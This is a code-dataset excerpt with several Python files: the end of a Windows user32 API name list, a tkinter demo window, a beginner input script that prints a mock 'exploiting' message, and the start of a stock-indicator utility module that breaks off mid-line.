'GUITHREADINFO', 'LPINPUT', 'HIGHCONTRASTW',\n 'tagMULTIKEYHELPW', 'PWNDCLASSA', 'tagCOMBOBOXINFO', 'PWNDCLASSW',\n 'tagMULTIKEYHELPA', 'DROPSTRUCT', 'TOUCHPREDICTIONPARAMETERS', 'WNDCLASS',\n 'PUPDATELAYEREDWINDOWINFO', 'tagTITLEBARINFO', 'tagTRACKMOUSEEVENT',\n 'POINTER_DEVICE_CURSOR_INFO', 'CREATESTRUCTA', 'tagWNDCLASSA',\n 'tagPOINTER_PEN_INFO', 'tagWNDCLASSW', 'CREATESTRUCTW', 'LPSOUNDSENTRYA',\n 'tagMENUITEMINFOW', 'LPCOMPAREITEMSTRUCT', 'LPSOUNDSENTRYW',\n 'PRID_DEVICE_INFO_MOUSE', 'tagCREATESTRUCTA', 'WNDCLASSEXA', 'SCROLLINFO',\n 'LPSTYLESTRUCT', 'WNDCLASSEXW', 'tagCREATESTRUCTW', 'tagDEBUGHOOKINFO',\n 'PWNDCLASSEXW', 'tagLASTINPUTINFO', 'LPMONITORINFOEXA', 'LPRAWKEYBOARD',\n 'PWNDCLASSEXA', 'PKBDLLHOOKSTRUCT', 'tagGESTURENOTIFYSTRUCT', '_ICONINFO',\n 'LPMONITORINFOEXW', 'NPMSG', 'TITLEBARINFOEX', 'LPMOUSEHOOKSTRUCTEX',\n 'MDICREATESTRUCTA', 'tagWINDOWPLACEMENT', 'LPMDINEXTMENU',\n 'PMEASUREITEMSTRUCT', 'tagRAWINPUTDEVICE', 'LPTITLEBARINFO',\n 'RID_DEVICE_INFO_HID', 'tagTOGGLEKEYS', 'LPTITLEBARINFOEX', 'ALTTABINFO',\n 'tagSCROLLINFO', 'ICONMETRICSA', 'MULTIKEYHELPA', 'LPCWPSTRUCT',\n 'ICONMETRICSW', 'RID_DEVICE_INFO', 'CWPRETSTRUCT', 'PWINDOWPOS',\n 'tagPOINTER_DEVICE_INFO', 'MONITORINFO', 'COMPAREITEMSTRUCT', 'PRAWMOUSE',\n 'WINDOWINFO', 'LPSERIALKEYSW', 'tagMONITORINFOEXW', 'LPWNDCLASSW',\n 'TOUCH_HIT_TESTING_INPUT', 'MOUSEHOOKSTRUCT', 'CBT_CREATEWNDA', 'LPNMHDR',\n 'LPWNDCLASSA', 'CBT_CREATEWNDW', 'tagDELETEITEMSTRUCT', 'PMINMAXINFO',\n 'LPCBT_CREATEWNDW', 'LPSHELLHOOKINFO', 'LPCBT_CREATEWNDA', 'PPAINTSTRUCT',\n 'tagRAWKEYBOARD', 'LPMINMAXINFO', 'POINTER_INFO', 'NCCALCSIZE_PARAMS',\n 'LPWNDCLASSEXA', 'tagUSEROBJECTFLAGS', 'LPWNDCLASSEXW', 'GetMenu',\n 'TITLEBARINFO', 'PCOPYDATASTRUCT', 'LPNONCLIENTMETRICSA', 'PICONINFO',\n 'tagMINMAXINFO', 'tagMONITORINFOEXA', 'RAWINPUTDEVICE', 'LPALTTABINFO',\n 'LPNONCLIENTMETRICSW', 'PTOUCH_HIT_TESTING_INPUT', 'LPMENUTEMPLATEW',\n 'PDLGITEMTEMPLATEA', 'PEN_FLAGS', 'LPDLGTEMPLATEW',\n 'MULTIKEYHELP', 'PDLGITEMTEMPLATEW', 'LPMENUTEMPLATEA', 'LPCBT_CREATEWND',\n 'EDITWORDBREAKPROCW', 'TIMERPROC', 'EDITWORDBREAKPROCA', 'WNDENUMPROC',\n 'PROPENUMPROCA', 'PROPENUMPROCW', 'LPMULTIKEYHELP', 'PROPENUMPROCA',\n 'PCGESTUREINFO', 'PICONMETRICS', 'PROPENUMPROCW', 'LPCMENUITEMINFOA',\n 'PHELPWININFO', 'NONCLIENTMETRICS', 'LPMSGBOXPARAMS',\n 'LPCMENUITEMINFO', 'LPCMENUITEMINFOW', 'HDEVNOTIFY', 'LPMONITORINFOEX',\n 'PWNDCLASSEX', 'PWNDCLASS', 'LPCDLGTEMPLATE',\n 'PREGISTERCLASSNAMEW', 'LPDLGITEMTEMPLATEA', 'NAMEENUMPROCW', 'EndMenu',\n 'CBT_CREATEWND', 'DESKTOPENUMPROCW', 'WINSTAENUMPROCW', 'MDICREATESTRUCT',\n 'LPDLGITEMTEMPLATEW', 'TOUCH_MASK', 'MONITORINFOEX', 'LPSERIALKEYS',\n 'HIGHCONTRAST', 'SERIALKEYS', 'MENUTEMPLATE', 'GRAYSTRINGPROC', 'GetDCEx',\n 'WNDCLASSEX', 'LPTPMPARAMS', 'PWINDOWPLACEMENT', 'LPMDICREATESTRUCT',\n 'LPWNDCLASS', 'PROPENUMPROCEXA', 'PROPENUMPROCEXW', 'PDLGITEMTEMPLATE',\n 'PCTOUCHINPUT', 'NPWNDCLASSEX', 'HPOWERNOTIFY', 'LPWINDOWPLACEMENT',\n 'NAMEENUMPROCW', 'DLGPROC', 'PMSGBOXPARAMS', 'LPCREATESTRUCT', 'IsChild',\n 'PICONINFOEX', 'NAMEENUMPROCA', 'NAMEENUMPROCA', 'LPNONCLIENTMETRICS',\n 'LPCSCROLLINFO', 'PROPENUMPROC', 'PEN_MASK','WNDENUMPROC',\n 'GRAYSTRINGPROC', 'WINSTAENUMPROC', 'PMULTIKEYHELP', 'DRAWSTATEPROC',\n 'NPWNDCLASS', 'MSGBOXPARAMS', 'HELPWININFO', 'PROPENUMPROCEXA',\n 'SENDASYNCPROC', 'PROPENUMPROCEX', 'PNONCLIENTMETRICS', 'LPMENUITEMINFO',\n 'DESKTOPENUMPROC', 'MENUITEMINFO', 'SOUNDSENTRY', 'POINTER_INPUT_TYPE',\n 'LPWNDCLASSEX', 'EDITWORDBREAKPROC', 'MONITORENUMPROC', 'CREATESTRUCT',\n 'LPHELPWININFO', 'TIMERPROC', 'PHDEVNOTIFY', 'ICONINFOEX', 'TOUCH_FLAGS',\n 'PHPOWERNOTIFY', 'PCRAWINPUTDEVICE', 'POINTER_FLAGS', 'HELPPOLY',\n 'LPICONMETRICS', 'LPDLGTEMPLATEA', 'HOOKPROC', 'LPCMENUINFO', 'WNDPROC',\n 'LPCDLGTEMPLATEW', 'PROPENUMPROCEXW', 'LPDLGTEMPLATE', 'LPMENUTEMPLATE',\n 'LPCDLGTEMPLATEA', 'LPSOUNDSENTRY', 'LPDLGITEMTEMPLATE', 'MENUTEMPLATEW',\n 'SENDASYNCPROC', 'LPHIGHCONTRAST', 'MENUTEMPLATEA', 'ICONMETRICS',\n 'wvsprintfW', 'GetMenuInfo', 'SetUserObjectSecurity', 'IsTouchWindow',\n 'wvsprintfA', 'GetGuiResources', 'VkKeyScanExA', 'GetPoINTerDeviceRects',\n 'DisplayConfigSetDeviceInfo', 'SetMenuItemInfoA', 'CharUpperBuffA',\n 'RegisterShellHookWindow', 'CharUpperBuffW', 'SetMenuItemInfoW',\n 'DrawTextA', 'DlgDirSelectExA', 'GetCurrentInputMessageSource', 'EndTask',\n 'SendMessageA', 'DlgDirSelectExW', 'GetClientRect', 'GetMenuItemInfoW',\n 'SetThreadDpiAwarenessContext', 'DrawTextW', 'GetNextDlgTabItem',\n 'CallNextHookEx', 'MapWindowPoINTs', 'TrackPopupMenu', 'OemToCharBuffA',\n 'UnhookWindowsHook', 'UserHandleGrantAccess', 'MsgWaitForMultipleObjects',\n 'CharToOemW', 'InvalidateRgn', 'DestroyMenu', 'DrawEdge', 'UpdateWindow',\n 'GetUserObjectInformationW', 'IsWow64Message', 'DlgDirListComboBoxW',\n 'GetUserObjectInformationA', 'ChangeWindowMessageFilter', 'ValidateRect',\n 'SetProcessDefaultLayout', 'GetPoINTerCursorId', 'DlgDirListComboBoxA',\n 'GetPoINTerFrameInfoHistory', 'GetPoINTerDeviceCursors', 'PeekMessageA',\n 'GetWindowFeedbackSetting', 'RegisterSuspendResumeNotification',\n 'InsertMenuItemW', 'SetDialogDpiChangeBehavior', 'GetDlgItemTextA',\n 'GetWindowDisplayAffinity', 'ScrollDC', 'IsWindowEnabled', 'OpenDesktopW',\n 'GetDlgItemTextW', 'GetDlgItemInt', 'RegisterClassW', 'InsertMenuItemA',\n 'RegisterPoINTerInputTargetEx', 'InternalGetWindowText', 'GetQueueStatus',\n 'EnumDesktopsW', 'CloseWindow', 'OpenDesktopA', 'TrackPopupMenuEx',\n 'GetScrollPos', 'GetPriorityClipboardFormat', 'UnhookWinEvent', 'SetMenu',\n 'OemToCharA', 'DlgDirListA', 'FlashWindow', 'CreateAcceleratorTableW',\n 'WaitForInputIdle', 'DlgDirListW', 'EnumDesktopWindows', 'OemToCharW',\n 'GetPhysicalCursorPos', 'GetWindowLongW', 'CreateAcceleratorTableA',\n 'GetSystemMetricsForDpi', 'DrawMenuBar', 'CreateDesktopExA', 'KillTimer',\n 'DrawAnimatedRects', 'GetOpenClipboardWindow', 'SwitchDesktop', 'ToAscii',\n 'SetCaretPos', 'RegisterPoINTerInputTarget', 'RealChildWindowFromPoINT',\n 'TrackMouseEvent', 'GetClipboardOwner', 'SystemParametersInfoForDpi',\n 'DefWindowProcA', 'CheckMenuRadioItem', 'WaitMessage', 'GetClipboardData',\n 'ToUnicodeEx', 'EnableMenuItem', 'SendMessageCallbackA', 'PostMessageA',\n 'InSendMessageEx', 'EnumDisplayDevicesW', 'EnumChildWindows', 'wsprintfA',\n 'SetProcessDpiAwarenessContext', 'GetMessageExtraInfo', 'PostMessageW',\n 'SwapMouseButton', 'DrawCaption', 'CreateWindowStationA', 'FindWindowExA',\n 'SetDisplayAutoRotationPreferences', 'GetRawInputDeviceInfoW', 'IsWindow',\n 'UnregisterTouchWindow', 'GetLastActivePopup', 'CreateWindowStationW',\n 'GetDialogDpiChangeBehavior', 'CreateIconIndirect', 'ScreenToClient',\n 'EnumDisplaySettingsA', 'GetMenuItemCount', 'CreateDesktopW', 'wsprintfW',\n 'SetDlgItemInt', 'GetRawInputBuffer', 'EnumDisplaySettingsW', 'CopyImage',\n 'FindWindowExW', 'BroadcastSystemMessageExW', 'DrawTextExW', 'RemoveMenu',\n 'GetDpiFromDpiAwarenessContext', 'CreateDialogIndirectParamW', 'IsZoomed',\n 'UnregisterSuspendResumeNotification', 'SetLayeredWindowAttributes',\n 'GetMessagePos', 'CreateDialogIndirectParamA', 'SetWinEventHook',\n 'MessageBeep', 'DrawTextExA', 'GetWindowThreadProcessId', 'MessageBoxExA',\n 'ShowScrollBar', 'DefRawInputProc', 'SendMessageW', 'GetKBCodePage',\n 'MessageBoxIndirectA', 'MoveWindow', 'LoadCursorFromFileA', 'GetWindowDC',\n 'CreateDesktopA', 'AdjustWindowRectEx', 'MessageBoxExW', 'GetSysColor',\n 'LoadCursorFromFileW', 'MessageBoxIndirectW', 'GetWindowModuleFileNameA',\n 'DisableProcessWindowsGhosting', 'GetAwarenessFromDpiAwarenessContext',\n 'CreateMDIWindowW', 'SetDoubleClickTime', 'WindowFromPoINT', 'FrameRect',\n 'GetWindowModuleFileNameW', 'GetMenuDefaultItem', 'DispatchMessageW',\n 'GetWindowDpiAwarenessContext', 'CallWindowProcW', 'ChangeMenuA',\n 'GetDisplayAutoRotationPreferences', 'DragObject', 'CallWindowProcA',\n 'UnregisterDeviceNotification', 'ChangeMenuW', 'GetPoINTerPenInfo',\n 'GetUnpredictedMessagePos', 'RedrawWindow', 'RegisterClipboardFormatA',\n 'GetForegroundWindow', 'LoadBitmapW', 'SetPhysicalCursorPos', 'ReleaseDC',\n 'SetSystemCursor', 'PackTouchHitTestingProximityEvaluation', 'LoadImageW',\n 'LoadBitmapA', 'SetWindowPos', 'CalculatePopupWindowPosition', 'IsIconic',\n 'EnableNonClientDpiScaling', 'GetRegisteredRawInputDevices', 'ShowCursor',\n 'DispatchMessageA', 'GetThreadDesktop', 'EnableMouseInPoINTerForThread',\n 'GetMessageTime', 'GetGestureExtraArgs', 'GetClipboardSequenceNumber',\n 'GetWindowWord', 'GetClassInfoA', 'DefFrameProcW', 'MonitorFromPoINT',\n 'LookupIconIdFromDirectoryEx', 'GetDisplayConfigBufferSizes', 'GetWindow',\n 'DefFrameProcA', 'GetClassInfoW', 'RegisterDeviceNotificationA',\n 'SetMenuDefaultItem', 'SetScrollPos', 'IsValidDpiAwarenessContext',\n 'SetMessageExtraInfo', 'GetActiveWindow', 'GetUpdateRgn', 'EnumPropsExW',\n 'MapVirtualKeyExW', 'MapVirtualKeyExA', 'EnumPropsExA', 'GetMessageA',\n 'GetMenuContextHelpId', 'GetClassInfoExW', 'SetMenuInfo', 'GetWindowRgn',\n 'SetWindowsHookW', 'EnumWindows', 'GetClassInfoExA', 'GetMessageW',\n 'ShowWindow', 'DrawFrameControl', 'GetListBoxInfo', 'ValidateRgn',\n 'EnumClipboardFormats', 'EnableWindow', 'SetWindowPlacement', 'SetParent',\n 'UnregisterPoINTerInputTarget', 'LoadImageA', 'ShowWindowAsync',\n 'GetClipboardFormatNameW', 'TranslateMessage', 'CreateCursor', 'PtInRect',\n 'GetIconInfo', 'SetClipboardData', 'IsCharLowerA', 'GetWindowPlacement',\n 'EnumDisplaySettingsExA', 'RegisterRawInputDevices', 'IsCharLowerW',\n 'SendMessageCallbackW', 'GetGestureInfo', 'GetSubMenu', 'EnumPropsA',\n 'CreateMenu', 'CreateMDIWindowA', 'ShowOwnedPopups', 'SwitchToThisWindow',\n 'SendMessageTimeoutA', 'DeferWindowPos', 'PhysicalToLogicalPoINT',\n 'EnumPropsW', 'GetUpdateRect', 'DragDetect', 'SendNotifyMessageA',\n 'RegisterTouchHitTestingWindow', 'GetMonitorInfoW', 'OffsetRect',\n 'SetLastErrorEx', 'GetMonitorInfoA', 'ClipCursor', 'SendNotifyMessageW',\n 'UnregisterPowerSettingNotification', 'ChangeWindowMessageFilterEx',\n 'SendDlgItemMessageA', 'GetSystemMetrics', 'GetMouseMovePoINTsEx',\n 'EnumDisplaySettingsExW', 'SendDlgItemMessageW', 'CheckDlgButton',\n 'RegisterDeviceNotificationW', 'SetWindowLongA', 'CreateDialogParamW',\n 'CreatePopupMenu', 'ShowCaret', 'GetClassLongW', 'InvertRect', 'OpenIcon',\n 'GetDlgItem', 'CreateDialogParamA', 'UnloadKeyboardLayout', 'FindWindowW',\n 'EvaluateProximityToRect', 'ClientToScreen', 'GetClassLongA', 'EndDialog',\n 'GetAsyncKeyState', 'GetLayeredWindowAttributes', 'GetKeyboardState',\n 'GetMenuStringA', 'IsDlgButtonChecked', 'DestroyAcceleratorTable',\n 'CreateIconFromResourceEx', 'GetSystemMenu', 'GetMenuStringW', 'AnyPopup',\n 'GetDpiForSystem', 'GetPoINTerInfo', 'LoadMenuA', 'PrivateExtractIconsW',\n 'GetIconInfoExA', 'GetCapture', 'GetPoINTerDevice', 'GetShellWindow',\n 'GetIconInfoExW', 'PrivateExtractIconsA', 'LoadMenuW', 'CheckMenuItem',\n 'FlashWindowEx', 'SetRectEmpty', 'DialogBoxParamW', 'GetNextDlgGroupItem',\n 'CascadeWindows', 'GetRawPoINTerDeviceData', 'DialogBoxParamA', 'warning',\n 'MsgWaitForMultipleObjectsEx', 'GetKeyState', 'SystemParametersInfoA',\n 'UpdateLayeredWindow', 'SoundSentry', 'BroadcastSystemMessageExA',\n 'SetWindowWord', 'RealGetWindowClassW', 'GetAltTabInfoA', 'GetClassNameW',\n 'GetDesktopWindow', 'CharToOemBuffA', 'GetPoINTerInfoHistory', 'GetPropW',\n 'CloseTouchInputHandle', 'MenuItemFromPoINT', 'SystemParametersInfoW',\n 'AddClipboardFormatListener', 'RealGetWindowClassA', 'GetAltTabInfoW',\n 'IsImmersiveProcess', 'DefDlgProcW', 'TranslateMDISysAccel', 'VkKeyScanA',\n 'CloseDesktop', 'IsRectEmpty', 'GetClassNameA', 'SendMessageTimeoutW',\n 'CloseClipboard', 'TranslateAcceleratorW', 'ReplyMessage', 'SetWindowRgn',\n 'GetMenuCheckMarkDimensions', 'ChangeDisplaySettingsW', 'GetInputState',\n 'ChangeDisplaySettingsA', 'GetPoINTerTouchInfoHistory', 'PostQuitMessage',\n 'GetWindowContextHelpId', 'LockSetForegroundWindow', 'GetGestureConfig',\n 'GetUpdatedClipboardFormats', 'CloseWindowStation', 'VkKeyScanW',\n 'SetActiveWindow', 'MapDialogRect', 'GetDlgCtrlID', 'UnregisterClassA',\n 'UnregisterClassW', 'GetPoINTerFramePenInfo', 'AllowSetForegroundWindow',\n 'UnregisterPoINTerInputTargetEx', 'SetThreadDesktop', 'InSendMessage',\n 'LoadMenuIndirectA', 'IsClipboardFormatAvailable', 'CharUpperA',\n 'CopyAcceleratorTableA', 'ChangeDisplaySettingsExA', 'LoadMenuIndirectW',\n 'SetProcessRestrictionExemption', 'ChangeDisplaySettingsExW', 'EqualRect',\n 'CopyAcceleratorTableW', 'EnumWindowStationsW', 'DestroyWindow',\n 'SetClassLongW', 'PhysicalToLogicalPoINTForPerMonitorDPI', 'CreateCaret',\n 'SetProcessDPIAware', 'SetClassLongA', 'GetPropA', 'GetPoINTerDevices',\n 'IsCharAlphaW', 'SetMessageQueue', 'CharUpperW', 'CharToOemBuffW',\n 'IsCharAlphaA', 'SetDisplayConfig', 'DestroyCaret', 'GetMenuBarInfo',\n 'ActivateKeyboardLayout', 'LoadStringA', 'WindowFromPhysicalPoINT',\n 'GetMenuItemRect', 'GetRawInputDeviceInfoA', 'LoadStringW', 'BeginPaINT',\n 'GetKeyboardLayoutList', 'IsMouseInPoINTerEnabled', 'CreateWindowExA',\n 'GetPoINTerPenInfoHistory', 'PaINTDesktop', 'GetCIMSSM', 'PeekMessageW',\n 'CreateWindowExW', 'GetWindowInfo', 'EnableMouseInPoINTer', 'CharPrevA',\n 'GetPoINTerInputTransform', 'GetWindowDpiHostingBehavior', 'CharNextA',\n 'LogicalToPhysicalPoINT', 'SetMenuContextHelpId', 'ToAsciiEx', 'FillRect',\n 'RegisterClipboardFormatW', 'ArrangeIconicWindows', 'CharLowerA',\n 'SetScrollRange', 'GetWindowRect', 'EvaluateProximityToPolygon',\n 'OemToCharBuffW', 'CharLowerW', 'EnumThreadWindows', 'SetWindowTextA',\n 'GetProcessWindowStation', 'InitializeTouchInjection', 'GetWindowLongA',\n 'GetTitleBarInfo', 'DisplayConfigGetDeviceInfo', 'SetWindowTextW',\n 'SetCoalescableTimer', 'BringWindowToTop', 'AdjustWindowRectExForDpi',\n 'GetThreadDpiAwarenessContext', 'LoadCursorA', 'LoadIconA', 'LoadCursorW',\n 'CountClipboardFormats', 'SetWindowsHookExA', 'PostThreadMessageW',\n 'GetMenuItemInfoA', 'AttachThreadInput', 'TabbedTextOutA', 'GetMenuState',\n 'CreateIconFromResource', 'LoadIconW', 'GetMenuItemID', 'NotifyWinEvent',\n 'SetForegroundWindow', 'IsProcessDPIAware', 'ExitWindowsEx', 'HideCaret',\n 'PostThreadMessageA', 'WindowFromDC', 'EmptyClipboard', 'GetScrollRange',\n 'GetCaretBlinkTime', 'IsWinEventHookInstalled', 'GetScrollBarInfo',\n 'GetScrollInfo', 'ShutdownBlockReasonQuery', 'GetKeyboardLayout',\n 'SetWindowContextHelpId', 'SetMenuItemBitmaps', 'InheritWindowMonitor',\n 'SetDialogControlDpiChangeBehavior', 'FindWindowA', 'GetClipCursor',\n 'GetSysColorBrush', 'BeginDeferWindowPos', 'RegisterClassExW', 'GetFocus',\n 'RemoveClipboardFormatListener', 'RegisterPoINTerDeviceNotifications',\n 'LookupIconIdFromDirectory', 'SetDlgItemTextA', 'GetTouchInputInfo',\n 'LoadKeyboardLayoutW', 'GetSystemDpiForProcess', 'ChangeClipboardChain',\n 'mouse_event', 'GetClassWord', 'LoadKeyboardLayoutA', 'keybd_event',\n 'SetWindowFeedbackSetting', 'SetDlgItemTextW', 'RegisterClassExA',\n 'GetPoINTerFrameInfo', 'GetDialogControlDpiChangeBehavior', 'DestroyIcon',\n 'SetClassWord', 'GetKeyNameTextA', 'IsWindowVisible', 'TileWindows',\n 'GetPoINTerTouchInfo', 'SubtractRect', 'ChildWindowFromPoINT', 'SetFocus',\n 'GetGUIThreadInfo', 'MessageBoxW', 'UnionRect', 'GetKeyNameTextW',\n 'ShutdownBlockReasonDestroy', 'GetPoINTerType', 'CharNextW', 'CreateIcon',\n 'IsCharUpperA', 'TranslateAcceleratorA', 'DefDlgProcA', 'GetAncestor',\n 'AdjustWindowRect', 'SetWindowsHookExW', 'SetThreadDpiHostingBehavior',\n 'UnhookWindowsHookEx', 'SetCursor', 'EnumWindowStationsA', 'VkKeyScanExW',\n 'EnumDesktopsA', 'UnregisterHotKey', 'DrawStateA', 'GetParent', 'SetRect',\n 'BroadcastSystemMessageA', 'EnableScrollBar', 'SetUserObjectInformationA',\n 'BroadcastSystemMessageW', 'DrawStateW', 'ChildWindowFromPoINTEx',\n 'GetClipboardViewer', 'DlgDirSelectComboBoxExA', 'GrayStringW',\n 'ScrollWindowEx', 'OpenWindowStationW', 'GetPoINTerFrameTouchInfoHistory',\n 'GrayStringA', 'DlgDirSelectComboBoxExW', 'CopyRect', 'SetCaretBlinkTime',\n 'GetPoINTerFramePenInfoHistory', 'OpenWindowStationA', 'GetCursorPos',\n 'SetWindowDisplayAffinity', 'CharLowerBuffW', 'GetPoINTerFrameTouchInfo',\n 'LockWorkStation', 'SetUserObjectInformationW', 'DefWindowProcW',\n 'CharLowerBuffA', 'CharPrevExA', 'LoadAcceleratorsA', 'GetTopWindow',\n 'GetWindowTextLengthA', 'RegisterHotKey', 'GetWindowTextW', 'SetPropA',\n 'ExcludeUpdateRgn', 'GetWindowTextLengthW', 'LoadAcceleratorsW',\n 'ScrollWindow', 'GetWindowTextA', 'CloseGestureInfoHandle', 'CharPrevW',\n 'CreateDesktopExW', 'CallMsgFilterA', 'UpdateLayeredWindowIndirect',\n 'CheckRadioButton', 'GetProcessDefaultLayout', 'GetRawInputDeviceList',\n 'GetDialogBaseUnits', 'GetCaretPos', 'SetPropW', 'SetWindowsHookA',\n 'GetTabbedTextExtentA', 'RegisterPowerSettingNotification', 'WinHelpA',\n 'SetClipboardViewer', 'GetTabbedTextExtentW', 'CharNextExA', 'OemKeyScan',\n 'EnumDisplayDevicesA', 'QueryDisplayConfig', 'WinHelpW', 'RegisterClassA',\n 'IsHungAppWindow', 'InjectTouchInput', 'DrawFocusRect', 'SetTimer',\n 'IsDialogMessageW', 'DeregisterShellHookWindow', 'IsWindowUnicode',\n 'RegisterTouchWindow', 'ToUnicode', 'TabbedTextOutW', 'GetWindowRgnBox',\n 'GetUserObjectSecurity', 'IsDialogMessageA', 'RegisterWindowMessageW',\n 'MapVirtualKeyA', 'OpenInputDesktop', 'LockWindowUpdate', 'DrawIcon',\n 'GetKeyboardLayoutNameA', 'DefMDIChildProcW', 'CopyIcon', 'InflateRect',\n 'GetKeyboardLayoutNameW', 'MapVirtualKeyW', 'GetComboBoxInfo', 'EndPaINT',\n 'RegisterWindowMessageA', 'DefMDIChildProcA', 'SetDebugErrorLevel',\n 'SetWindowLongW', 'GetCursorInfo', 'SetCapture', 'ReleaseCapture',\n 'IsGUIThread', 'GetDisplayAutoRotationPreferencesByProcessId',\n 'SetProcessWindowStation', 'SetKeyboardState', 'MonitorFromRect',\n 'RemovePropA', 'DrawIconEx', 'GetRawInputData', 'RemovePropW',\n 'InsertMenuA', 'SetGestureConfig', 'DialogBoxIndirectParamW', 'SendInput',\n 'SkipPoINTerFrameMessages', 'GetThreadDpiHostingBehavior', 'InsertMenuW',\n 'DialogBoxIndirectParamA', 'OpenClipboard', 'GetAutoRotationState',\n 'IntersectRect', 'CallMsgFilterW', 'HiliteMenuItem', 'AppendMenuA',\n 'GetPoINTerDeviceProperties', 'PrINTWindow', 'MessageBoxA', 'AppendMenuW',\n 'DestroyCursor', 'SetScrollInfo', 'EndDeferWindowPos', 'SetSysColors',\n 'IsCharAlphaNumericA', 'AreDpiAwarenessContextsEqual', 'DeleteMenu',\n 'GetDoubleClickTime', 'EnumDisplayMonitors', 'CancelShutdown',\n 'ShutdownBlockReasonCreate', 'GetDpiForWindow', 'CharToOemA', '_Success_',\n 'SetCursorPos', 'IsCharAlphaNumericW', 'GetClipboardFormatNameA',\n 'LogicalToPhysicalPoINTForPerMonitorDPI', 'MonitorFromWindow',\n 'InvalidateRect', 'AnimateWindow', 'ModifyMenuA', 'BlockInput',\n 'ModifyMenuW', 'IsCharUpperW', 'GetCursor', 'GetLastInputInfo',\n 'GetKeyboardType',\n)\n","repo_name":"kdschlosser/pyWinAPI","sub_path":"um/winuser_h.py","file_name":"winuser_h.py","file_ext":"py","file_size_in_byte":385384,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"34"} +{"seq_id":"5615109443","text":"# Interface graphique\nfrom tkinter import *\nimport webbrowser\n\ndef open_covid19_page():\n webbrowser.open_new(\"https://covid19-ora.netlify.com\")\n\nwindow = Tk()\n\nwindow.title(\"My Application\")\nwindow.geometry(\"720x480\")\nwindow.minsize(300, 150)\n#window.maxsize(800, 600)\n\nwindow.iconbitmap(\"@logo.xbm\")\nwindow.config(background=\"#007bff\")\n\n# Création d'une frame\n#frame = Frame(window, bg='#007bff', bd=1, relief=SUNKEN)\nframe = Frame(window, bg=\"#007bff\")\n\n# Ajout d'un label\nlabel_title = Label(frame, text=\"Bienvenue dans l'application\", font=(\"Helvetica\", 30), bg=\"#007bff\", fg=\"#FFF\")\n\n#label_title.pack(side=BOTTOM)\nlabel_title.pack()\n#window.minsize(400, 200)\n\n# Ajout d'un autre text\nlabel_subtitle = Label(frame, text=\"Hey, Salut comment allez vous ?\", font=(\"Verdana\", 15), bg=\"#007bff\", fg=\"#FFF\")\nlabel_subtitle.pack()\n\n# Ajout d'un bouton\ncovid19_button = Button(frame, text=\"Covid19\", font=(\"Arial Black\", 25), bg=\"#FFF\", fg=\"#007bff\", command=open_covid19_page)\ncovid19_button.pack(pady=32, fill=X)\n\nframe.pack(expand=YES)\n\n# Affichage\nwindow.mainloop()\n","repo_name":"will-oracions/Python-fondamentale","sub_path":"9/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"26292795029","text":"#!/bin/python3\n\ntemp= input(\"Enter something here: \")\nprint(temp)\n\nwhile True:\n\ttemp2= input(\"Give a one line feedback here: \")\n\tprint(\"Thank you for saying {}\".format(temp2),\"We'll remember this. Now proceed below...\")\n\tif temp2== \"exit\":\n\t\tbreak\n\t\t\nwhile True:\n\ttemp3= input(\"\\nEnter your IP: \")\n\tif temp3 == \"exit\":\n\t\tbreak\n\telse:\n\t\tprint(\"Exploiting the machine with IP {}...\".format(temp3))\n\t\tprint(\"$\")\n","repo_name":"4aryash/Python","sub_path":"9-User-Inputs.py","file_name":"9-User-Inputs.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"38353665708","text":"\"\"\"Common functions used by the Infinitus Vigilantis application\"\"\"\nimport traceback\nfrom statistics import stdev\nfrom statistics import mean\nfrom numpy import inf, nan\nfrom threading import Thread, Lock\nfrom multiprocessing import Process\nfrom pandas import DataFrame\n__author__ = 'Daniel Ward'\n__copyright__ = 'Copyright 2023, Daniel Ward'\n__license__ = 'GPL v3'\n\n\nSILENT = True\ndef silence(fn):\n \"\"\"Wrapper to catch exceptions and silence them.\"\"\"\n def proxy_fn(*args, **kwargs):\n global SILENT\n try:\n return fn(*args, **kwargs)\n except Exception as details:\n if not SILENT:\n traceback.print_exc()\n return None\n return proxy_fn\n\n\nTHREAD_LOCK = Lock()\ndef ivy_dispatcher(func, ftype='thread', args=None,\n kwargs=None, daemon=True):\n \"\"\"Create a new thread or process.\"\"\"\n fargs = dict(target=func)\n if args: fargs['args'] = args\n if kwargs: fargs['kwargs'] = kwargs\n if ftype == 'thread':\n f = Thread(**fargs)\n elif ftype == 'process':\n f = Process(**fargs)\n else:\n return None\n f.daemon = daemon\n f.start()\n return f\n\n\n__weighted__ = lambda c, p, w: c * w + (p * (1 - w))\n__ema__ = lambda c, p, l: __weighted__(mean(c), mean(p), 2/l)\n_NO_MONEY_ = {'zs': 0, 'sdev': 0, 'wema': 0, 'dh': 0, 'dl': 0, 'mid': 0}\ndef money_line(points, fast=8, weight=34):\n \"\"\"Will it cheese?\"\"\"\n money = dict(_NO_MONEY_)\n try:\n # flip kwargs for use in reverse list comprehension\n slow = len(points)\n wp = ((fast - 1) * -1, (slow - 1) * -1, (weight - 1) * -1)\n wc = (fast * -1, slow * -1, weight * -1)\n # calculate moving averages\n fast_ema = __ema__(points[wc[0]:], points[wp[0]:], slow)\n slow_ema = __ema__(points[wc[1]:], points[wp[1]:], fast)\n weight_ema = __ema__(points[wc[2]:], points[wp[2]:], weight)\n # calculate weighted exponential average\n wema = ((slow_ema + fast_ema) / 2) * 0.5\n wema += weight_ema * 0.5\n # get standard deviation, zscore\n sdev = stdev(points, xbar=wema)\n cc = points[-1]\n zs = (cc - wema) / sdev\n # get mid point and one deviation above/below current price\n dh = cc + sdev\n dl = cc - sdev\n cl = min(points)\n mid = 0.5 * (max(points) - cl) + cl\n # get the money\n money['zs'] = zs\n money['sdev'] = sdev\n money['wema'] = wema\n money['dh'] = dh\n money['dl'] = dl\n money['mid'] = mid\n finally:\n return money\n\n\ndef get_indicators(df, index_key='time'):\n \"\"\"Collects indicators and adds them to the dataframe.\"\"\"\n sample = 34\n trend = list()\n trend_strength = 0\n weights = dict(fast=3, weight=13)\n money_p = {f'price_{k}': list() for k in _NO_MONEY_.keys()}\n money_v = {f'volume_{k}': list() for k in _NO_MONEY_.keys()}\n df_range = range(len(df))\n df_last = df_range[-1]\n if sample >= df_last + 1:\n return df.copy()\n o = df['open'].tolist()\n h = df['high'].tolist()\n l = df['low'].tolist()\n c = 